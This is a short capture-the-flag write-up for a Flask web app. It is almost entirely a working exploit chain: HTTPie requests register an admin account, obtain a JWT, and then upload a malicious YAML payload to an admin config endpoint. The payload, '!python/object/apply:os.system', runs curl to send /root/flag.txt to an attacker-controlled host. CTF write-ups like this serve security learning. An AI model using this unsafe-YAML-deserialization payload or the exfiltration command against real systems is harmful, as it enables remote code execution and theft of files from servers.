Short writeup per now. will update later

create yaml file  
`!python/object/apply:os.system ["curl 172.30.0.14:1337 -d @/root/flag.txt"]`  
```  
http POST http://172.30.0.8:5000/register Host:manager.home.drive
username=admin [email protected] password=admin  
HTTP/1.0 200 OK  
Content-Length: 37  
Content-Type: application/json  
Date: Sun, 15 Aug 2021 03:07:47 GMT  
Server: Werkzeug/2.0.1 Python/3.9.6

{  
"message": "New user created!"  
}  
```  
```  
http http://172.30.0.8:5000/login Host:manager.home.drive username=admin
[email protected] password=admin  
HTTP/1.0 200 OK  
Content-Length: 277  
Content-Type: application/json  
Date: Sun, 15 Aug 2021 03:08:17 GMT  
Server: Werkzeug/2.0.1 Python/3.9.6

{  
"token":
"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjI5MDI1NzUzfQ.oOJybJDRRR6Op53UX2K37Kgbj_wPa1wkt2NbLGlRtBbbzFrPOFSvMkjDJK-E-2W1uzHCocpZllwCevPRfET9uFdFnaYfVhMa-
xrNg4oUJaxV8QdUJh5w2PymDTpM8QzEOMdPl7QTkwjZnzLb7ARDaygM6jP37vDanRzkJMBrR2Q"  
}  
```  
```  
http --path-as-is --form POST 'http://172.30.0.8:5000/admin/config'
Host:manager.home.drive x-access-
token:eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjI5MDI1NzUzfQ.oOJybJDRRR6Op53UX2K37Kgbj_wPa1wkt2NbLGlRtBbbzFrPOFSvMkjDJK-E-2W1uzHCocpZllwCevPRfET9uFdFnaYfVhMa-
xrNg4oUJaxV8QdUJh5w2PymDTpM8QzEOMdPl7QTkwjZnzLb7ARDaygM6jP37vDanRzkJMBrR2Q
[email protected]  
```